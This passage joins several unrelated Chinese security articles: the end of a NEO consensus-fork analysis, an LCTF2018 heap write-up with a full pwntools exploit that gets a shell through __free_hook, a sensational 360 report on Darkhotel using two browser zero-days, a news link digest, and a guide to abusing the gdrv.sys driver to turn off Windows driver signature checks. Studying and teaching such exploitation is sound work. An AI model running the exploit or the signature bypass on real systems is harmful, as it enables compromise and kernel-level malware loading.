NEO当前的对dBTF的实现有所不足的本质原因在于：NEO的dBTF实现试图用共识节点之间的共识代替全网共识；然而这个假设并不严格成立。dBFT仅能保证诚实的共识节点之间产生共识，而诚实的共识节点之间的共识与全网节点之间的共识并没有严格的绑定关系。在上面的例子1中，恶意的出块节A1
A2点无法影响共识节点之间产生共识Block2，但它能产生区块Block1从而造成网络中普通节点的分叉。按NEO目前设计，一旦分叉产生，分叉节点就无法回到NEO网络了。
### 问题的影响
在发现问题的当天，我们就将该问题邮件发给NEO创始人Erik Zhang。
Erik也在当天回复说他们已经发现了这个问题，并且在社区内做过相关声明。之前NEO在github项目上发起了一个Pull
Request处理该问题，得到了社区成员的积极响应，为该问题建言献策，目前问题已经初步解决，正在测试稳定性，具体连接:
<https://github.com/neo-project/neo/pull/320>。
通过对该PR具体讨论和实现的研究，我们发现实际上该PR主要是针对NEO当前dBTF中对PBFT的实现不够完善进行的修复。社区目前的理解是：由于NEO中dBFT缺乏PBFT的commit阶段，所以可能因为共识节点之间的网络延迟或者宕机问题，造成共识节点之间无法达成共识。但即使增加commit过程，也无法防止恶意共识节点构造分叉块。NEO团队针对此问题，已经在该PR下提出了新的改进方案，目前NEO社区正在完善之前的PR从而彻底解决该问题。在这次问题的解决过程中我们发现NEO团队对于安全问题处理专业高效，社区响应热情及时。360安全团队会继续与NEO一起测试、分析并完善相关问题，推动NEO与区块链技术向前发展。
* * * | 社区文章 |
# LCTF2018-easypwn-详细解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
听说一血有pwnhub注册码拿就去试着打了一下周末的这场LCTF，结果作为签到题选手(笑)连签到题的一血都拿不到可能这就是命吧，不过遇到了一题不错的pwn，就详细的记录下解题思路和技巧吧
## easy pwn
先看下给的文件的基本信息
➜ easy_heap file easy_heap
easy_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a94f7ec039023e90d619f61acca68dd0863486c4, stripped
➜ easy_heap checksec easy_heap
[*] '/home/Ep3ius/pwn/process/easy_heap/easy_heap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序防护基本全开，接着我们ida看下程序反编译的结果
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice; // eax
init_0();
chunk_menu = calloc(0xA0uLL, 1uLL);
if ( !chunk_menu )
{
puts("init error!");
exit_();
}
while ( 1 )
{
while ( 1 )
{
menu();
choice = read_input();
if ( choice != 2 )
break;
delete();
}
if ( choice > 2 )
{
if ( choice == 3 )
{
show();
}
else if ( choice == 4 )
{
exit_();
}
}
else if ( choice == 1 )
{
new();
}
}
}
我们可以看到这是一个基础的菜单型程序，这里比较在意的是程序先calloc了一个0xa0大小的堆块，我们先了解下malloc和
calloc的区别主要在于calloc在动态分配完内存后，自动初始化该内存空间为零，而malloc不初始化，里边数据是随机的垃圾数据。
void new()
{
__int64 v0; // rbx
__int64 idx; // [rsp+0h] [rbp-20h]
int idxa; // [rsp+0h] [rbp-20h]
unsigned int chunk_size; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
LODWORD(idx) = 0;
while ( idx <= 9 && *(16LL * idx + chunk_menu) )
LODWORD(idx) = idx + 1;
if ( idx == 10 )
{
puts("full!");
}
else
{
v0 = chunk_menu;
*(v0 + 16LL * idx) = malloc(0xF8uLL);
if ( !*(16LL * idx + chunk_menu) )
{
puts("malloc error!");
exit_();
}
printf("size n> ", idx, v4);
chunk_size = read_input();
if ( chunk_size > 0xF8 )
exit_();
*(16LL * idxa + chunk_menu + 8) = chunk_size;
printf("content n> ");
read_input_content(*(16LL * idxa + chunk_menu), *(16LL * idxa + chunk_menu + 8));
}
}
我们可以看到可以new的chunk的数量是最多时10个，并且malloc的新chunk位置都是在开头calloc的chunk后面，并且content的输入方式单独写了个函数，我们跟进去看看
void __fastcall read_input_content(_BYTE *input, int chunk_size)
{
unsigned int i; // [rsp+14h] [rbp-Ch]
i = 0;
if ( chunk_size )
{
while ( 1 )
{
read(0, &input[i], 1uLL);
if ( chunk_size - 1 < i || !input[i] || input[i] == 'n' )
break;
++i;
}
input[i] = 0;
input[chunk_size] = 0; #null byte off-by-one
}
else
{
*input = 0;
}
}
我们结合前面的SIZE_MAX =
0xF8和malloc的都是0xF8可以发现，当我们new一个size=0xF8的chunk时他会把input[0xf8]赋值为0，但这就相当于把下一个chunk的size位覆盖了一个字节，我们具体调试一下
#poc
new(0x10,'aaaa') #0
new(0x10,'aaaa') #1
free(0)
new(0xf8,'a'*0xf8) #0
pwndbg> parseheap
addr prev size status fd bk
0x558c833fa000 0x0 0x250 Used None None
0x558c833fa250 0x0 0xb0 Used None None
0x558c833fa300 0x0 0x100 Used None None
0x558c833fa400 0x0 0x100 Used None None
pwndbg> x/8x 0x558c833fa400
0x558c833fa400: 0x0000000000000000 0x0000000000000101
0x558c833fa410: 0x0000000062626262 0x0000000000000000
0x558c833fa420: 0x0000000000000000 0x0000000000000000
0x558c833fa430: 0x0000000000000000 0x0000000000000000
# new(0xf8,'a'*0xf8)
pwndbg> parseheap
addr prev size status fd bk
0x558c833fa000 0x0 0x250 Used None None
0x558c833fa250 0x0 0xb0 Used None None
0x558c833fa300 0x0 0x100 Freed 0x61616161616161610x6161616161616161
0x558c833fa400 0x6161616161616161 0x100 Used None None
pwndbg> x/8x 0x558c833fa400
0x558c833fa400: 0x6161616161616161 0x0000000000000100 <== null byte overwrite
0x558c833fa410: 0x0000000062626262 0x0000000000000000
0x558c833fa420: 0x0000000000000000 0x0000000000000000
0x558c833fa430: 0x0000000000000000 0x0000000000000000
pwndbg>
我们可以看到chunk1的size位确实被x00所覆盖了，也证明确实只要size=0xf8就可以overwrite一字节到下一个chunk的size位
接着我们看下delete和show函数
void delete()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
printf("index n> ");
idx = read_input();
if ( idx > 9 || !*(16LL * idx + chunk_menu) )
exit_();
memset(*(16LL * idx + chunk_menu), 0, *(16LL * idx + chunk_menu + 8));
free(*(16LL * idx + chunk_menu));
*(16LL * idx + chunk_menu + 8) = 0;
*(16LL * idx + chunk_menu) = 0LL;
}
void show()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
printf("index n> ");
idx = read_input();
if ( idx > 9 || !*(16LL * idx + chunk_menu) )
exit_();
puts(*(16LL * idx + chunk_menu));
}
中规中矩，没有什么问题
分析完了在这里卡了很久，后来在调题目给的libc时秉持着瞎猫一般是能碰到死耗子的原则查了下libc的版本，结果还真的找到了是2.27
要考虑tcache，马上切了个环境去调试(在这之前快被各种double free报错搞死了，哭)
我们先布局好7、8、9号堆
new_tcache()
new(0x10,'aaaa') #7
new(0x10,'bbbb') #8
new(0x10,'cccc') #9
free_tcache()
free(7)
free(8)
free(9)
然后下面的操作看上去可能会很绕但想明白了就很明了了，我们先把0-6从tcache取出new好7、8、9号堆后再放回tcache后把chunk7释放这时我们再看下chunk7的状态
pwndbg> parseheap
addr prev size status fd bk
0x564965142000 0x0 0x250 Used None None
0x564965142250 0x0 0xb0 Used None None
0x564965142300 0x0 0x100 Used None None
0x564965142400 0x0 0x100 Used None None
0x564965142500 0x0 0x100 Used None None
0x564965142600 0x0 0x100 Used None None
0x564965142700 0x0 0x100 Used None None
0x564965142800 0x0 0x100 Used None None
0x564965142900 0x0 0x100 Used None None
0x564965142a00 0x0 0x100 Freed 0x7fa21366eca0 0x7fa21366eca0
0x564965142b00 0x100 0x100 Used None None
0x564965142c00 0x200 0x100 Used None None
pwndbg> x/8x 0x564965142a00
0x564965142a00: 0x0000000000000000 0x0000000000000101
0x564965142a10: 0x00007fa21366eca0 0x00007fa21366eca0
0x564965142a20: 0x0000000000000000 0x0000000000000000
0x564965142a30: 0x0000000000000000 0x0000000000000000
pwndbg>
已经把main_arena放入在chunk里了，这时我们再把tcache清空后free8再重新取回来让chunk8_size=0xf8触发null byte
off-by-one覆盖chunk9的previnuse位为0，让我们看下chunk现在的情况
pwndbg> parseheap
addr prev size status fd bk
0x556bf9a1e000 0x0 0x250 Used None None
0x556bf9a1e250 0x0 0xb0 Used None None
0x556bf9a1e300 0x0 0x100 Used None None
0x556bf9a1e400 0x0 0x100 Used None None
0x556bf9a1e500 0x0 0x100 Used None None
0x556bf9a1e600 0x0 0x100 Used None None
0x556bf9a1e700 0x0 0x100 Used None None
0x556bf9a1e800 0x0 0x100 Used None None
0x556bf9a1e900 0x0 0x100 Used None None
0x556bf9a1ea00 0x0 0x100 Freed 0x7f003ff88ca0 0x7f003ff88ca0
0x556bf9a1eb00 0x100 0x100 Freed 0x746972777265766f 0x392065
0x556bf9a1ec00 0x200 0x100 Used None None
pwndbg> x/8x 0x556bf9a1ea00
0x556bf9a1ea00: 0x0000000000000000 0x0000000000000101
0x556bf9a1ea10: 0x00007f003ff88ca0 0x00007f003ff88ca0
0x556bf9a1ea20: 0x0000000000000000 0x0000000000000000
0x556bf9a1ea30: 0x0000000000000000 0x0000000000000000
pwndbg> x/8x 0x556bf9a1eb00
0x556bf9a1eb00: 0x0000000000000100 0x0000000000000100
0x556bf9a1eb10: 0x746972777265766f 0x0000000000392065
0x556bf9a1eb20: 0x0000000000000000 0x0000000000000000
0x556bf9a1eb30: 0x0000000000000000 0x0000000000000000
pwndbg> x/8x 0x556bf9a1ec00
0x556bf9a1ec00: 0x0000000000000200 0x0000000000000100
0x556bf9a1ec10: 0x0000000063636363 0x0000000000000000
0x556bf9a1ec20: 0x0000000000000000 0x0000000000000000
0x556bf9a1ec30: 0x0000000000000000 0x0000000000000000
这时我们可以看到chunk9的pre_size位位0x200chunk9的previnuse位也为0，就可以尝试一波unlink了，先把tcache填满，再free9后，我们再看下chunk
pwndbg> parseheap
addr prev size status fd bk
0x5624364b4000 0x0 0x250 Used None None
0x5624364b4250 0x0 0xb0 Used None None
0x5624364b4300 0x0 0x100 Used None None
0x5624364b4400 0x0 0x100 Used None None
0x5624364b4500 0x0 0x100 Used None None
0x5624364b4600 0x0 0x100 Used None None
0x5624364b4700 0x0 0x100 Used None None
0x5624364b4800 0x0 0x100 Used None None
0x5624364b4900 0x0 0x100 Used None None
我们接着把tcache清空，新建chunk9和overwrite到chunk8的chunk7，再把chunk6和chunk9释放掉后，这时chunk7里存的就是heap地址了，show(7)便可以泄露heapbase
pwndbg> parseheap
addr prev size status fd bk
0x55fe2fe46000 0x0 0x250 Used None None
0x55fe2fe46250 0x0 0xb0 Used None None
0x55fe2fe46300 0x0 0x100 Used None None
0x55fe2fe46400 0x0 0x100 Used None None
0x55fe2fe46500 0x0 0x100 Used None None
0x55fe2fe46600 0x0 0x100 Used None None
0x55fe2fe46700 0x0 0x100 Used None None
0x55fe2fe46800 0x0 0x100 Used None None
0x55fe2fe46900 0x0 0x100 Used None None
0x55fe2fe46a00 0x0 0x100 Used None None
0x55fe2fe46b00 0x100 0x100 Used None None
pwndbg> x/8x 0x55fe2fe46b00
0x55fe2fe46b00: 0x0000000000000100 0x0000000000000101
0x55fe2fe46b10: 0x000055fe2fe46310 <== 0x0000000000000000
0x55fe2fe46b20: 0x0000000000000000 0x0000000000000000
0x55fe2fe46b30: 0x0000000000000000 0x0000000000000000
之后就是想办法去泄露libc地址了，这步也卡了很久，本来是想通过tcache_dup修改chunk7里的数据改成那个存着libc地址的地址，后来发现真的被自己蠢哭，最后我是把chunk_menu也就是一开始calloc的0xb0的chunk里面chunk7的指针通过tcache_dup改成存着libc地址的chunk再leak出来
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x565551ed3c00 (size : 0x20400)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x100) tcache_entry[14]:0x565551ed3b10 --> 0x565551ed3b10 (overlap chunk with 0x565551ed3b00(freed) )
pwndbg> parseheap
addr prev size status fd bk
0x565551ed3000 0x0 0x250 Used None None
0x565551ed3250 0x0 0xb0 Used None None
0x565551ed3300 0x0 0x100 Used None None
0x565551ed3400 0x0 0x100 Used None None
0x565551ed3500 0x0 0x100 Used None None
0x565551ed3600 0x0 0x100 Used None None
0x565551ed3700 0x0 0x100 Used None None
0x565551ed3800 0x0 0x100 Used None None
0x565551ed3900 0x0 0x100 Used None None
0x565551ed3a00 0x0 0x100 Used None None
0x565551ed3b00 0x100 0x100 Used None None
pwndbg>
在泄露出了libc地址后基本就是为所欲为了，重新做个tcache_dup把free_hook修改成one_gadget就直接getshell了，这里贴上exp
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
n = process('./easy_heap')
#n = remote('118.25.150.134',6666)
elf = ELF('./easy_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def new_0():
n.recvuntil('which command?n> ')
n.sendline("1")
n.recvuntil('> ')
n.sendline('0')
def new(size,content):
n.recvuntil('which command?n> ')
n.sendline("1")
n.recvuntil('size n> ')
n.sendline(str(size))
n.recvuntil('content n> ')
n.sendline(content)
def free(idx):
n.recvuntil('which command?n> ')
n.sendline("2")
n.recvuntil('index n> ')
n.sendline(str(idx))
def show(idx):
n.recvuntil('which command?n> ')
n.sendline("3")
n.recvuntil('index n> ')
n.sendline(str(idx))
def new_tcache():
for i in range(7):
new(0x10,'aaaa')
def free_tcache():
for i in range(0,7):
free(i)
new_tcache()
new(0x10,'aaaa') #7
new(0x10,'bbbb') #8
new(0x10,'cccc') #9
free_tcache()
free(7)
free(8)
free(9)
new_tcache()
new(0x10,'aaaa') #7
new(0x10,'bbbb') #8
new(0x10,'cccc') #9
free_tcache()
free(7)
new_tcache()
free(8)
new(0xf8,'overwrite 9')
free_tcache()
free(9)
new_tcache()
new(0x10,'aaaa') #9
new(0x10,'bbbb') #7(8)
free(6)
free(9)
show(7)
heap_base = u64(n.recv(6)+'x00x00')
print hex(heap_base)
free(7)
new(0xf0,p64(heap_base-64)) #7
new(0xf0,'aaaa') #7_2
new(0xf0,p64(heap_base+0x700+0x8))
show(7)
libc_base = u64(n.recv(6)+'x00x00') - 0x3ebca0
print hex(libc_base)
free_hook = libc.symbols['__free_hook']+libc_base
print "free_hook",hex(free_hook)
one_gadget = libc_base + 0x4f322
free(6)
free(9)
new(0xf0,p64(free_hook))
new(0xf0,'aaaa')
new(0xf0,p64(one_gadget))
n.interactive()
## 总结
这次LCTF学到了不少，感谢丁佬没打死我还告诉我调试得出来puts出来的是里面的值里面不是指针，下次一定要好好学习跟上大哥们的解题速度 | 社区文章 |
# 半岛APT“趁势之危”对我国商贸相关政府机构发动攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
屋漏偏逢连夜雨，船迟又遇打头风。
【导读】1月14日，微软正式宣告Windows
7系统停止更新。此次停服，引爆全网危机，不仅顺机突发全球首例复合0day漏洞——“双星”漏洞，令国内超六成用户曝光在其阴霾之下；更有别有用心者“趁势追击”，利用“双星”发动猛攻。近期，作为全球首家捕获该漏洞的狙击者——360安全大脑继续对其分析溯源，判定：“双星”漏洞已被活跃近十余年的半岛APT组织Darkhotel(APT-C-06)所利用，并瞄准我国商贸相关的政府机构发动攻击。针对此事，本文，不仅对事件进行了抽丝剥茧、逐层深入的分析，更首次独家揭秘了该APT组织，阴险、刁滑、狡诈的攻击手法。
在开启正文前，先向读者交代下背景：
2020年1月14日，微软正式宣告Windows 7系统停止更新。
在Win
7正式停服关键节点的首日，360安全大脑就在全球范围内捕获首例时利用IE浏览器和火狐浏览器两个0day漏洞的复合攻击，由于是全球首家捕获到此次攻击，360安全大脑将其命名为“双星”0day漏洞攻击，其编号分别是：CVE-2019-17026（火狐）和CVE-2020-0674（IE）。
“双星”漏洞不仅影响了最新版本的火狐浏览器和IE浏览器及使用了相关浏览器内核的应用程序；值得警惕的是，该漏洞可致使用户在毫无防备的情况下，就被植入勒索病毒，甚至被黑客监听监控，执行窃取敏感信息等任意操作，其威胁性可谓是史无前例。
然而，别有用心者仍在“趁势之危”。近期，360安全大脑经分析溯源判定：“双星”漏洞不仅已被活跃十余年的半岛APT组织Darkhotel(APT-C-06)所利用，更是针对我国商贸相关的政府机构发动主要攻击。
## 又一起针对我国的APT攻击，此次攻击者是“何方妖孽”？
Darkhotel（APT-C-06），中文名为黑店。是一个有着东亚背景，长期针对企业高管、国防工业、电子工业等重要机构实施网络间谍攻击活动的APT组织。其相关攻击行动最早可以追溯到2007年。2014年11月，被卡巴斯基实验室的安全专家首次发现。此后，360高级威胁团队就对该团伙的活动一直保持着持续跟踪。
2018年4月，360安全大脑就曾在全球范围内，率先监测到了该组织使用0day漏洞进行APT攻击。从其溯源分析报告来看，该APT组织瞄准中、俄、日、韩等国政府及组织机构或企业单位，尤其针对中国重点省份外贸企业单位和相关机构展开攻击。
“一个经验老道的惯犯”来形容Darkhotel
APT组织一点不为过！长期被国家级APT组织盯上，本就如一颗随时可爆发的炸弹，随时面临一国网络被瘫痪的风险。然而，这一次，Darkhotel
APT组织还还携“重磅利器”——“双星”漏洞而来，于它简直是“如虎添翼”；但于我国，简直是恶魔梦魇的降世！
还记得WannaCry勒索病毒吗？2017年5月12日，它利用Windows系统“永恒之蓝”高危漏洞席卷全球，引爆网络世界的“生化危机”。以迅雷不及掩耳，横扫150国家几十万台计算机，不止政府机关、高校、医院的电脑屏幕都被“染”成了红色，能源、通信、交通、制造等诸多关键信息基础设施也在这场风暴中，遭遇到前所未有的重创。
以至于，自那日起，它所带来的恐惧就如不散的“阴魂”盘桓在人们的心中，久久不能散去；然而，与不断加深恐惧相对应的是，其危害影响仍在持续。
2019年5月，也就是在WannaCry
爆发两年之后，堪比“永恒之蓝”的Bluekeep高危远程漏洞高调来袭，一时间，全球400万台主机再次暴露在漏洞的暴风眼下，一旦该漏洞被黑客成功利用，世界将再次陷入不尽的黑暗。
单纯利用Windows系统漏洞，就足以拥有了“毁天灭地”的力量，然而，作为IE浏览器和火狐浏览器两个0day漏洞的“结合体”，“双星”漏洞所蕴含的巨大威胁性、爆发力、破坏力不敢想，不敢想！
## 继医疗机构、视频监控系统被锁定后，这一次的攻击者瞄准的是谁？
然而，屋漏偏逢连夜雨，船迟又遇打头风。
6天前的热门推文，印度APT组织趁火打劫对我国医疗机构发起定向攻击，还历历在目；
3天前的重磅警告，境外黑客组织又蠢蠢欲动，公然扬言欲对我国视频监控系统痛下毒手，还萦绕在耳；
而今，半岛APT组织Darkhotel又早已携手“双星”漏洞，对我国发动猛烈攻击。在具体攻击目标上，这一次，它再次瞄准与商贸相关的政府机构。
这一点非常好理解。“双星”漏洞本就爆发于Win7停服之际，其攻击之目标早已昭然若揭。而与此同时的关键是，当前我国的情况：
第一，国内超六成用户曝光在“双星”漏洞阴霾之下
直至2019年10月底，国内Windows7系统的市场份额占比仍有近6成。Windows
7的终结，无疑意味着这些庞大的用户失去了微软官方的所有支持，包括软件更新、补丁修复和防火墙保障，将直面各类利用漏洞等威胁进行的攻击。蓄谋而来的“双星”0day漏洞也不在Windows7的修复范围内，所以，攻击者完全可以凭借该漏洞重击所有使用Windows
7系统的计算机，并像野火一样蔓延至整个网络，
第二，升级系统未纳入采购清单，Win7仍是政府企事业单位主力
而另外一端，出于国家安全考量，我国政府至今未将Win 8、Win
10系统纳入政府采购清单，也就是说，目前Win7仍被广泛应用于政府企事业单位中。而随着Win7的正式停服，这些单位的系统无疑在网络世界中裸奔。
所以，此次半岛APT组织Darkhotel携手“双星”漏洞对商贸相关的我国政府机构发动攻击，于它简直是“如虎添翼”；但于我国，简直是毁灭世界的恶魔！
第三，疫情大敌当前，医疗战役与稳定国民经济发展同重要
尤其，在当前我国倾一国之力，对抗疫情的当下，除了要打赢这场医疗疫情之战，还要在这紧要关头稳住国民经济的发展。此时，半岛APT组织Darkhotel对我国商贸领域下手，此举不亚于印度APT组织，它不仅在趁火打劫！更是居心不良！
## 阴险、刁滑、狡诈六字揭秘，Darkhotel APT组织如何发动攻击？
能利用“双星”、双浏览器0day漏洞，足见Darkhotel(APT-C-06)的攻击技术早已骤然升级，然而，在对其攻击流程和攻击细节分析中，发现Darkhotel
APT组织更是阴险、刁滑、狡诈的代名词。
一．阴险！多种攻击方式相组合复合式攻击
从攻击流程图上来看，“双星”0day漏洞的攻击是：利用office漏洞文档、网页挂马和WPAD本地提权等多种攻击方式，相组合进行的复杂组合攻击。透过此，足见其攻击路数之阴险！
二．刁滑！“自主”识别判断并见机行事迫害
“双星”漏洞是有“嗅觉”的，其网页会判断当前浏览器为IE还是Firefox，操作系统为32位还是64位；“双星”漏洞还是“触觉”的，在完成判定后，它还能根据不同的浏览器、不同操作系统加载相应的exploit攻击代码。其“道行”，可谓是刁滑！
三．杀人于无形，配合office漏洞文档发动攻击
攻击者可以直接利用双星漏洞进行网页挂马攻击，有意思的是我们发现了一例Office漏洞文档触发的双星漏洞，是默认打开IE浏览器进行攻击。
在此案例中，初始攻击使用了office公式编辑器漏洞（CVE-2017-11882），并根据目标精心制作了诱饵文档。
一旦用户“上钩”，运行漏洞文档、触发漏洞，便会启动公式编辑器，并利用公式编辑器进程打开IE浏览器，进而访问恶意网页，最终触发“双星”漏洞。
如何避免被Darkhotel APT组织荼毒？请“对症”领取“锦囊修复建议”
一面是国家级APT利用高危漏洞的攻击，一面是Win7系统停服官方保护体系的缺失，政企用户安全将何去何从？尤其是在这个特殊非常时期里。针对此，智库针对不同的浏览器漏洞、不同的操作系统提出了不同的应对措施：
第一， 针对火狐浏览器使用者：
由于目前，火狐浏览器已经发布了Firefox 72.0.1 and FirefoxESR
68.4.1，所以，火狐浏览器用户及相关使用机构请尽快更新到最新版本。
第二， 针对Windows系统的使用者：
广大政企用户可联系360公司获取360安全大脑Windows 7盾甲企业版。
联系方式如下：
联系人：赵文静；
邮箱：[email protected]；
座机 ：(010) 5244 7992；
应急 ：[email protected]；
360安全大脑Windows7盾甲企业版可一键管理全网终端，支持Windows全平台已知漏洞的补丁修复，结合针对漏洞威胁全新推出的360微补丁功能，在面对“双星”0day漏洞等突发性高危漏洞时，360微补丁可通过先行自动覆盖漏洞，解决防护能力滞后问题，全天候守护PC安全。
正如原公安部第一研究所长严明在“面对Win7停服，我们如何应对”研讨会上所说，对于广大政企用户来说，选择360安全大脑Win7盾甲企业版等第三方服务，无疑是当前有效避免Win7停服安全威胁的策略之一。
第三， 其他应急措施：
限制对JScript.dll的访问，可暂时规避该安全风险，但可能导致网站无法正常浏览。
对于32位系统，在管理命令提示符处输入以下命令：
takeown/f %windir%\\\system32\\\jscript\\.dll
cacls%windir%\\\system32\\\jscript\\.dll /E /P everyone:N
对于64位系统，在管理命令提示符处输入以下命令：
takeown/f %windir%\\\syswow64\\\jscript\\.dll
cacls%windir%\\\syswow64\\\jscript\\.dll /E /P everyone:N
takeown/f %windir%\\\system32\\\jscript\\.dll
cacls%windir%\\\system32\\\jscript\\.dll /E /P everyone:N
实施这些步骤可能会导致依赖jscript.dll的组件功能减少。为了得到完全保护，建议尽快安装此更新。在安装更新之前， 请还原缓解步骤以返回到完整状态。
如何撤消临时措施
对于32位系统，在管理命令提示符处输入以下命令：
cacls%windir%\\\system32\\\jscript\\.dll /E /R everyone
对于64位系统，在管理命令提示符处输入以下命令：
cacls%windir%\\\system32\\\jscript\\.dll /E /R everyone
cacls%windir%\\\syswow64\\\jscript\\.dll /E /R everyone
其他资料补充：
关于360高级威胁应对团队(360 ATA Team)：
专注于APT攻击、0day漏洞等高级威胁攻击的应急响应团队，团队主要技术领域包括高级威胁沙盒、0day漏洞探针技术和基于大数据的高级威胁攻击追踪溯源。在全球范围内率先发现捕获了包括双杀、噩梦公式、毒针等在内的数十个在野0day漏洞攻击，独家披露了多个针对中国的APT组织的高级行动，团队多人上榜微软TOP100白帽黑客榜，树立了360在威胁情报、0day漏洞发现、防御和处置领域的核心竞争力。
关于《Darkhotel（APT-C-06）使用“双星”0Day漏洞（CVE-2019-17026、CVE-2020-0674）针对中国发起的APT攻击分析》报告链接：
<http://blogs.360.cn/post/apt-c-06_0day.html>
本文为国际安全智库作品 （微信公众号：guoji-anquanzhiku）
如需转载，请标注文章来源于：国际安全智库 | 社区文章 |
# 【知识】10月19日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： bug bounty：看我如何接管OLX的每一条广告、krackattacks-test-ap-ft：判断AP是否受到CVE-2017-13082漏洞（WPA2 KRACK
Attacks）的影响、WaterMiner：一款新发现的挖矿恶意软件分析、2017 Flare-On挑战题解（Fireeye的CTF）、FaceID真的安全么？针对FaceID的安全性研究**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
英情报机构被指控搜集公民社交媒体及医疗数据
微软的 bug 数据库在 2013 年曾遭到入侵
****
**资讯类：**
********
联想修复影响安卓平板和手机的多个漏洞
<https://threatpost.com/lenovo-quietly-patches-massive-bug-impacting-its-android-tablets-and-zuk-vibe-phones/128489/>
**技术类：**
********
bug bounty：看我如何接管OLX的每一条广告
<https://kciredor.com/taking-over-every-ad-on-olx-automated-an-idor-story.html>
浏览器安全之逃逸沙盒
<https://blogs.technet.microsoft.com/mmpc/2017/10/18/browser-security-beyond-sandboxing/>
Hack.lu 2017安全会议演讲视频
<https://www.youtube.com/playlist?list=PLCxOaebc_2yNlOGhuOjInlJvr0Ktb_FYz>
krackattacks-test-ap-ft：判断AP是否受到CVE-2017-13082漏洞（WPA2 KRACK Attacks）的影响
<https://github.com/vanhoefm/krackattacks-test-ap-ft>
WaterMiner：一款新发现的挖矿恶意软件分析
<https://minerva-labs.com/post/waterminer-a-new-evasive-crypto-miner>
HydraPOS：巴西诈骗者已经利用该设备收集了至少140万张信用卡资料
<https://sidechannel.tempestsi.com/hydrapos-operation-of-brazilian-fraudsters-has-accumulated-at-least-1-4-million-card-data-b05d88ad3be0>
BoundHook：基于异常，内核控制的用户模式hook
<https://www.cyberark.com/threat-research-blog/boundhook-exception-based-kernel-controlled-usermode-hooking/>
针对Nitro OBD2的逆向工程
<https://blog.quarkslab.com/reverse-engineering-of-the-nitro-obd2.html>
在GPD Pocket 7上安装Linux
<https://medium.com/@tomac/qpd-pocket-7-the-return-of-the-hacker-netbook-fe9be1b02ebf>
2017 Flare-On挑战题解（Fireeye的CTF）
<https://www.fireeye.com/blog/threat-research/2017/10/2017-flare-on-challenge-solutions.html>
Cloakify：Data Exfiltration工具（用于将任何文件类型转换为日常字符串列表、绕过DLP/MLS设备、绕过白名单、AV检测等）
<https://github.com/TryCatchHCF/Cloakify>
FaceID真的安全么？针对FaceID的安全性研究
<https://auth0.com/blog/is-faceid-really-secure/>
Kerberos AD Attacks – Kerberoasting
<https://blog.xpnsec.com/kerberos-attacks-part-1/>
Significant security flaws in smartwatches for children
<https://www.forbrukerradet.no/side/significant-security-flaws-in-smartwatches-for-children> | 社区文章 |
# 关闭驱动校验bypass dse
## 说明
gdrv.sys
是技嘉的一个驱动，存在任意地址读写的漏洞(CVE-2018-19320),<https://seclists.org/fulldisclosure/2018/Dec/39。>
可以使用其关闭CI!g_CiOptions/nt!g_CiEnabled。
Windows 上的驱动签名校验由单个二进制文件 ci.dll (=> %WINDIR%\System32\\) 管理。在 Windows 8 之前，CI
导出一个全局布尔变量 g_CiEnabled，无论是启用签名还是禁用签名，这都是不言自明的。在 Windows 8+ 中，g_CiEnabled
被另一个全局变量 g_CiOptions 替换，它是标志的组合（最重要的是 0x0=禁用、0x6=启用、0x8=测试模式）。
## gdrv.sys漏洞利用
由那边公开文章可知，0xC3502808 内置memcpy功能，随意逆向gdrv.sys，找到0xC3502808分支。
把代码梳理下,就变成这样了。
v2 = *(__int64 **)(a2 + 24);
*(_QWORD *)(a2 + 56) = 0i64;
if ( !v2 )
return 3221225485i64;
v3 = *v2;
v4 = *((unsigned int *)v2 + 4);
v5 = v2[1];
DbgPrint("Dest=%x,Src=%x,size=%d", *v2, v5, (unsigned int)v4);
if ( (_DWORD)v4 )
{
v6 = v5 - v3;
v7 = v4;
do
{
*(_BYTE *)(v3 - 1) = *(_BYTE *)(v6 + v3);
v3++;
--v7;
}
while ( v7 );
}
这段代码作用就是将v5地址的内容拷贝到v3，拷贝大小为v4，而v5来自与v2指针的内容。这样就形成了任意地址读写漏洞，v2、v5、v4都来自与a2，a2是IRP作为参数传递进来的。
再结合上文提到公开文章里面的poc，利用方式就出来了。
定义数据结构
typedef struct _GIOMEMInput
{
ULONG_PTR Dst; //目的地址
ULONG_PTR Src; //原地址
ULONG Size; //大小
} GIOMEMInput, *PGIOMEMInput;
NtDeviceIoControlFile(DeviceHandle,nullptr,nullptr,nullptr,&IoStatusBlock,IOCTL_GIO_MEMCPY,&MemcpyInput,sizeof(MemcpyInput),nullptr,0);
读取内核地址内容，可以把内核地址的内容写入到变量中。
写入内核地址内容，可以把变量写入内核地址。
## bypass dse关闭驱动校验
已经找到一个任意地址写入漏洞，后面就是找到控制驱动校验变量的地址。
在windows10 与window7 变量位置不一样。
windows10 ----> c:\windows\System32\CI.dll!g_CiOptions
windows7 ----> c:\windows\System32\ntoskrnl.exe!g_CiEnabled
这里只说CI.dll!g_CiOptions，不过找ntoskrnl.exe!g_CiEnabled的方法大同小异。
在CI.dll的导出函数CiInitialize中调用了CipInitialize函数。
在CipInitialize中存在 mov cs:g_CiOptions, ecx，可以拿到g_CiOptions在内核的地址,即可以计算出偏移地址。
